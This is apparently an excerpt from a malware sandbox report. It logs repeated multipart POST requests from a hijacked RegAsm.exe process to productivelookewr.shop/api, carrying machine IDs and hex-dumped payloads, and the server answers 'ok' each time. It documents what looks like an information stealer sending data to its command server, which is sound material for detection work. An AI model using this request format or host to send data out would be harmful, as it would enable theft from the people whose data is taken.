2024-04-21 07:04:58 UTC	8792	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 37 42 43 31 33 32 30 35 42 36 43 43 38 44 31 32 43 36 32 34 31 34 43 31 42 35 32 33 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"037BC13205B6CC8D12C62414C1B52377--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@ware
2024-04-21 07:04:59 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:04:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=36qnnjg3paors3sl732ois56bu; expires=Thu, 15-Aug-2024 00:51:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h41IkJSQzC%2BN%2BrgFu9NB%2BLGR6%2FUg5C5HKuWJD4tcNXJgY0U1NwCove47rTz4RJ3u3SQ%2Fx%2BNPP5sIwCJlBR4RPuMj0a2gJj6YY8TGI9QyMqGBmtKuVMX4wMkJ7rU%2FhrQ%2FrnysAkKGNDd4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85e7da3ab066-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:04:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 07:04:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:04:59 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20445 Host: productivelookewr.shop
2024-04-21 07:04:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 37 42 43 31 33 32 30 35 42 36 43 43 38 44 31 32 43 36 32 34 31 34 43 31 42 35 32 33 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"037BC13205B6CC8D12C62414C1B52377--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@ware
2024-04-21 07:04:59 UTC	5114	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 Data Ascii: `M?lrQMn 64F6(X&7~
2024-04-21 07:05:00 UTC	802	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:05:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=a4npv8gf6j0ee9ve6a1ipfd612; expires=Thu, 15-Aug-2024 00:51:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TifGGwEPg8x3yt9JBFS8KYWhCYVQm9P9R1VCBHb5i4VzZ5uB9ICepuywDt7g9GHPxpRKja5vSIlJ%2F4ECbnnWTAoE36448TW66mmdCCh9fK%2F2ucrPsvrqThw1IGLlWRPhLxgzqkEZgF0m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85ed0a2912de-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:05:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 07:05:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:05:00 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 7092 Host: productivelookewr.shop
2024-04-21 07:05:00 UTC	7092	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 37 42 43 31 33 32 30 35 42 36 43 43 38 44 31 32 43 36 32 34 31 34 43 31 42 35 32 33 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"037BC13205B6CC8D12C62414C1B52377--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@ware
2024-04-21 07:05:00 UTC	806	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:05:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=msi1kuq4dtacl9upk0o9fsjfq0; expires=Thu, 15-Aug-2024 00:51:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FPUZF4gi2W4nf3GM8DHhByL%2FeLICGjd%2FAP9KpwL0bXvp%2BeWgoQMVqxz4V3NtmC0sKSZA3PEVSPOkJEEScmwxhUAB9KT5tViS8VHkB1QMS6glUgujveCEDe%2FjVAUDz5Rk8btxHHC2LtWF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85f25f1d8bba-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:05:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 07:05:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:05:01 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1417 Host: productivelookewr.shop
2024-04-21 07:05:01 UTC	1417	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 37 42 43 31 33 32 30 35 42 36 43 43 38 44 31 32 43 36 32 34 31 34 43 31 42 35 32 33 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"037BC13205B6CC8D12C62414C1B52377--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@ware
2024-04-21 07:05:01 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 07:05:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kimjhdh000telsilpnvqtd6lmb; expires=Thu, 15-Aug-2024 00:51:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oQk571EPJ6ARhpk%2F7vmEjyMsGmEfljfDE9EUzUKjt2VkJ65jAd7wdbRcEJzRcS5ELfJr%2BN2Ttjam%2FkKzM%2FQ208E9Py4k%2Fgw6NQCw7VkgYmVDfOQmviTC8m6wTiiFh2v6LzD8%2BaomYwH%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877b85f70ffc7b90-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 07:05:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 07:05:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49749	104.21.11.250	443	5104	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 07:05:02 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 584469 Host: productivelookewr.shop
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 33 37 42 43 31 33 32 30 35 42 36 43 43 38 44 31 32 43 36 32 34 31 34 43 31 42 35 32 33 37 37 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 50 6e 68 71 6f 2d 2d 40 77 61 72 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"037BC13205B6CC8D12C62414C1B52377--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"LPnhqo--@ware
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 16 ca 52 a3 cf 29 52 ce 97 b1 7f 62 ec 50 7e f3 3f be 6a 51 8c 0b 1b d2 2f 26 1d bf b6 6a d6 bb ab 73 d8 16 19 15 55 c9 db 26 b3 dc 9c 26 ba f5 8a 9a 54 e2 a0 bd 4f e8 62 96 2a 36 a2 22 fe 38 13 78 1f 84 ca 2e d5 cc 94 5e e3 c7 0d 0c 6e e5 15 12 1f c3 5e ea 84 81 12 a5 4a 04 fd 79 7a a3 a1 36 66 e8 c8 d9 49 ed f0 bf 3e ee 13 b5 c1 dc 6e e9 27 38 f3 3f 2f 3c 38 b5 66 3e 23 d3 55 f5 20 5b 1d cd 9e 56 37 65 bf 7f 9f 0a d1 77 98 0a d9 d0 57 cd 3b d8 54 3d 51 0d 4a 92 f6 84 14 de 9d 69 e9 e2 3c 93 5f 81 1b e4 ef 81 b6 a0 ea e8 de 84 d3 9c 1d b3 85 26 61 ee 87 52 f6 e2 a6 19 43 2e 6e 3e ca 5d ab bc 21 bc 0d e7 f3 d7 d7 6b 0e 52 cf b3 d3 e7 7d 62 84 01 d0 8b a0 5a a3 52 68 96 45 62 f4 9f e2 dd ab 27 fd 96 bf 84 e7 80 1e 61 df db ba 4f 40 4f 35 60 07 ef 5e 4f 3e Data Ascii: R)RbP~?jQ/&jsU&&TOb*6"8x.^n^Jyz6fI>n'8?/<8f>#U [V7ewW;T=QJi<_&aRC.n>]!kR}bZRhEb'aO@O5`^O>
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 0a 93 00 b9 99 c0 1e 28 cf d9 e1 27 0f 54 31 8d 5b b1 44 c2 46 2a 08 b7 81 fc ff ed 3d 24 e1 c7 30 76 41 bd a6 25 b9 37 5e 51 6c 14 d8 93 9a 5e 36 42 c1 f3 a3 71 1c a0 f8 a9 18 ec cf 9b 29 ed be f1 e4 30 41 25 20 bd 8b 29 37 9b ad 63 e9 5c 67 6d 84 12 f5 b2 78 1e cd c1 20 d8 4d 59 1b ca 7b a1 10 4d 1f da 02 8b 1e 87 cc 2e 36 48 0a ea ba 9d 7f af 74 c1 6f 5f a4 90 da eb 54 1a e1 3b 2d 33 03 4e e0 f3 85 a0 93 17 55 7f df 61 2b 09 22 99 84 41 74 93 dd e5 3c ce 15 31 6c 66 2b cc 2f f6 7a 3d 09 e0 9b b4 be b3 d9 fd 55 40 b9 a6 12 ab b9 e6 d5 f5 34 d4 ce 65 63 e0 31 ac cc e9 36 83 6e 9d 46 cc ef e5 71 1a 6d 85 a8 fb 30 27 25 cf 93 3a 18 91 5e bc 31 84 e7 11 df 78 44 5d 21 de 87 0e 95 e2 ec f3 0c e0 f8 bd f9 87 40 f9 bf c8 c0 d8 9c 2f 8e da fb a2 eb 87 b7 4b 6f Data Ascii: ('T1[DF*=$0vA%7^Ql^6Bq)0A% )7c\gmx MY{M.6Hto_T;-3NUa+"At<1lf+/z=U@4ec16nFqm0'%:^1xD]!@/Ko
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 77 05 65 a0 8a 5c 5e 1f d2 87 0c 5f 77 97 4e 1c 30 8c 0a df 0b 8e 1b 20 ce 18 17 f1 45 07 dd c3 30 56 47 9a ef 6f 98 24 1a 83 95 94 8b ac 3f 7a 06 fd c7 52 87 66 9e 87 af 40 39 c8 e0 8b 0e c4 ae c4 ed ea 23 77 5f 35 df b2 36 7e c4 b0 e9 08 f2 00 82 90 73 cf 39 bb 02 c5 df 9d 55 4b 83 b5 2a 05 9c d3 03 42 64 5f ce 51 f6 18 0a 84 67 b7 d4 4a 64 5c fe 2f 7e 7f dc b9 e1 23 7d e1 cb 27 ef 0b 16 9d 03 5b 6c e6 05 cf d7 dc 1d 08 a0 04 78 6d 55 ee c1 56 77 5f b0 3f 1f 55 2d aa 5d 2a 00 0e 25 10 d9 90 eb bc b4 89 db 42 a9 fc 36 91 52 59 90 c7 22 fa d5 dd 89 8a 17 4e a9 f0 bd bd 09 3c e7 cb 4c 88 a6 80 b4 65 18 d9 cf 0d 6f a6 d0 37 22 ef 70 4e 42 bc 09 f0 c8 a5 0c 80 fc 4e 10 bf 9b f9 72 79 f4 3c 41 f4 39 c3 40 4f 5d f2 3e a4 b6 8e 00 9a 01 1e 50 88 8b 65 b5 0d b0 Data Ascii: we\^_wN0 E0VGo$?zRf@9#w_56~s9UKBd_QgJd\/~#}'[lxmUVw_?U-]%B6RY"N<Leo7"pNBNry<A9@O]>Pe
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 5b 29 07 11 3a 54 9b 7a 15 30 fa 5b 3d 98 5e 20 b5 be e2 ca 93 f6 d6 ba 0e f3 13 4e 5d f5 87 d1 50 9c 93 c8 6b 6f 9e 50 78 ad 69 8d 47 a9 29 45 45 b2 07 84 eb f9 72 45 70 8a 7e 4a 07 b9 b9 d1 21 8e d0 2b d9 75 d2 ca e7 a5 35 1a 56 2c a9 39 d7 54 e4 b7 9b c4 18 34 d4 55 75 2b a1 be 33 f2 9e 98 c5 5e 11 97 09 3e 54 6b 25 09 4e dc 68 bc b4 e3 2d 30 e7 b8 37 9a ed 08 7d ed 87 cf f7 d7 cf 6c 8e fc e8 d3 93 62 cb 6b 34 d2 66 5a f6 6b 8f 46 c4 c6 a4 31 78 42 a1 78 79 d7 2f f7 2b 57 cb 54 00 cd 55 65 70 7a 09 32 ab 0e b7 cb 51 51 c5 cf 87 b6 af ac f9 8d b6 6d 58 56 b4 ac bd de 74 8b 8b ac 5b 57 3b c8 93 a8 a2 32 d0 b8 11 ef 71 48 24 cd 90 8b da 06 ec 4d f3 34 43 7f 8e 8e 72 db 80 16 04 ff 7d 4f c5 61 92 69 05 27 e4 47 b4 68 f3 dd c1 55 ef 74 92 43 5e 2d 57 86 d3 Data Ascii: [):Tz0[=^ N]PkoPxiG)EErEp~J!+u5V,9T4Uu+3^>Tk%Nh-07}lbk4fZkF1xBxy/+WTUepz2QQmXVt[W;2qH$M4Cr}Oai'GhUtC^-W
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 73 b3 c7 e2 e7 89 f5 d1 2e 9f aa 43 95 7e 2b be e8 df 6e bb 8f eb 06 b0 bc 52 b1 36 f0 64 db 2a 3c 88 38 cc b4 e8 56 79 9d 96 23 b1 29 26 3d 1d 52 b2 85 dd da 9b 32 62 b1 37 f3 06 be ac c1 44 66 02 9a 1f be c7 08 5c 74 95 0f d5 77 6e ad 31 f6 c4 88 9c a9 42 e0 bc 54 72 cc a2 78 6b c8 e3 d4 b1 d9 e4 6a 87 03 5e 13 7d 6a 85 e9 05 a2 33 64 a4 f9 24 df f7 22 5f c1 be 18 2f 75 9d ec 5d ca ea 18 55 c0 0b 89 8a 32 d7 e6 53 0b b1 fd fe 99 2e 36 93 02 87 75 9a bd 7d b7 f6 09 25 27 ec cd d3 e1 f2 e9 25 42 46 9e a0 f8 d0 c8 0e 90 b9 70 8e d9 c0 38 74 d9 23 d6 14 cb 9a fa 58 f0 a9 b2 0b 72 4b 09 13 40 8e b0 23 7e c5 3f 21 d2 08 d8 c5 5c 9e a9 81 69 a0 46 25 6c 72 7a 26 a7 19 07 f6 ab b5 db c3 8f c1 8c 62 f5 7f 8c 92 d6 e0 c9 d6 2b 3c 81 7b 01 0b aa f2 bd 48 a4 f9 91 Data Ascii: s.C~+nR6d*<8Vy#)&=R2b7Df\twn1BTrxkj^}j3d$"_/u]U2S.6u}%'%BFp8t#XrK@#~?!\iF%lrz&b+<{H
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: e4 ce 3d 2a c6 7b 85 0f 1f 4e 1b 43 34 05 db ec 33 97 3e 5d fe 37 db 21 7f 47 e9 4a 8b e1 b3 fe bb 55 c6 a5 73 5d fd 7f 5f b9 5b fa ad f6 9f 57 77 ca f6 95 2e 4d ea ee 26 70 7b 5b ff ae e2 fe 19 de 43 d8 58 4a 6b c5 2e be 52 06 3d 69 02 83 14 18 16 11 30 a9 da bc 2e 0a d2 18 60 b1 6e fc f7 21 90 8d 82 99 da 99 5a 38 0b 40 c8 86 50 08 84 38 58 17 87 72 5e 0f a8 fd 3a 8d e4 85 52 70 72 cb ec 83 3d 06 08 5e b8 28 7e 78 3f 21 6b f3 62 7f fa 47 8d ef 3b 45 4c d1 e1 30 fc ac e9 f2 72 77 77 e5 9f 85 ab a2 a9 61 6c c3 1c b3 0f 31 2c 6f ef 0d f7 17 8f 20 52 86 17 fd 10 98 b5 f6 16 06 22 82 d8 16 c9 ed e6 88 bc e5 f5 92 47 cd b7 2f 8b 6a e2 79 29 b6 ff e8 d2 c3 0b 9e f8 b6 7f e0 55 79 a8 4b 0e 96 87 ee 94 82 20 0c 7c 08 83 7f b7 0b 2f 80 f8 33 95 9e 2d 68 33 56 e5 Data Ascii: =*{NC43>]7!GJUs]_[Ww.M&p{[CXJk.R=i0.`n!Z8@P8Xr^:Rpr=^(~x?!kbG;EL0rwwal1,o R"G/jy)UyK \|/3-h3V
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: e2 a5 9d f7 40 f4 0c 2b 75 78 f0 1d b7 0d a5 35 1f 94 ec 2b 51 39 89 7c b4 b0 16 92 71 b4 ca 9f 9d 0c e2 86 18 61 46 ac 82 f8 cd 49 7e 30 c2 b7 4a ba 33 71 74 a3 2f 23 e7 3f d7 f2 bb 8c e0 62 d6 cd bb 06 73 11 f3 4a 77 b8 39 82 83 05 5f 76 a7 fd 30 b9 6f b7 e1 bd 58 da 96 a6 94 d2 1a 5a 53 e1 72 e9 d2 e6 26 9b c5 b9 1f 6f c6 d1 67 1c 9d 5b b6 08 9c 90 82 7b 2d 24 ba 01 35 46 e2 7f c1 63 36 b8 9c f9 98 c0 b2 1c 39 12 c9 99 2d 9f 70 75 19 9c 29 5f ee 5e e1 20 15 15 43 ca d8 2c 94 16 96 36 99 f2 d4 bf 64 41 09 b7 a6 29 10 83 b1 e4 23 f1 59 96 36 11 24 09 59 bf 08 e7 06 90 7a 15 5b 3b 2c 2a dc 7f 2f 28 b4 56 52 8e 10 12 8b be 31 e2 08 32 9a 1b 9c 73 c0 66 68 04 da 75 ad 16 e6 7d c9 b8 84 c5 c7 bf 7f 2c 08 0f 0b 42 7f d2 e8 ee c1 9f 85 18 ab fe 33 5b 13 fe a7 Data Ascii: @+ux5+Q9\|qaFI~0J3qt/#?bsJw9_v0oXZSr&og[{-$5Fc69-pu)_^ C,6dA)#Y6$Yz[;,*/(VR12sfhu},B3[
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: 69 43 e7 a1 1c 1a 12 b4 88 cd ff c9 28 24 97 a1 82 2e 90 dc 48 b0 ca c9 df 33 c7 a5 a9 1f 13 75 46 57 2f ba 25 06 61 ba 82 be d6 30 c1 ca ee 19 9b 7a fb b6 75 c7 53 bf fe d4 d5 fe bd 2d c8 2e 7f 81 47 14 1d 79 33 21 e4 dd 08 ca eb d2 e8 a4 e5 1b 61 70 12 da ab 35 6d f4 59 75 8a 50 c0 c2 b7 0c ca cc c2 2e 4c 8d 13 f9 26 6a 17 ea db 2a 4d 8e b0 ec 4f bd 06 bc 7e 24 ec 8f e0 e7 18 a0 9b 0b 2d a3 18 9c b2 3c b4 0b 5f 7e 82 9a c7 c6 40 3e 95 c8 26 45 57 dd 45 db d1 b3 8d 00 0e 2b b5 8d 14 db 9d b2 8b a7 da 2a 38 5a 82 35 c0 42 bf d6 5f bc 72 d9 4f 3b ba ee f6 10 19 96 6f 80 30 78 bc 90 e2 e5 b7 2a ca f7 1a ec 75 67 76 ad bd 50 15 7a 6c ac 73 3f 2a fd 02 eb 08 52 75 56 03 9f ba 6e 9b b7 f1 cc 0f 6f d3 cd 8f 53 3d 9f c7 52 3c fc de 15 d0 32 70 06 8b e3 23 1b 27 Data Ascii: iC($.H3uFW/%a0zuS-.Gy3!ap5mYuP.L&jMO~$-<_~@>&EWE+8Z5B_rO;o0xugvPzls?RuVnoS=R<2p#'
2024-04-21 07:05:02 UTC	15331	OUT	Data Raw: cf 2a cb d1 57 61 35 87 91 a0 d6 fe ba a6 3d 74 e0 2a 2b 5f 95 ef 10 d3 ca 3e 3b 68 e5 3c ae 77 3a 45 1d aa fa 46 2e 81 2c 2b 65 30 b3 75 c6 d0 46 f5 14 19 99 e6 d0 46 45 8d f2 5c 33 61 4e ab 9b 76 fe d9 6f 7d 49 a8 36 89 e2 34 19 41 29 c3 bc 12 71 c8 bb 4c ae 0d 93 85 b6 c8 7c aa 14 02 22 76 45 81 84 a3 2c ce ba ff 18 91 dd 17 d3 1e 5a 8a 6b ae 0b c8 7f c5 40 e7 ec 52 2c ff 77 9c 94 fd 51 69 ed 9b 1c ed db f2 e9 01 b6 88 72 04 83 3c ff eb 22 ae 30 d9 8a 59 e3 dd 8f 52 dd d3 1f 52 24 dd a7 3b b5 cc 72 a8 cb 8a b4 af 7d a7 52 4e 60 fd c8 4c 29 2d 3a 4f 6c fa 56 de ad 1c 56 e8 a7 2d d9 ff 4e 98 39 31 bf 1d 90 9c 62 43 71 5f 2d 4e 85 0f fc eb 65 b0 67 f9 43 dd ec 8b d9 c8 f7 d2 8d 5e e1 2f 17 ab f5 66 dc 95 67 2d ff 41 9f fd 07 ed 1a 21 35 5b 2d da b1 f6 8d Data Ascii: 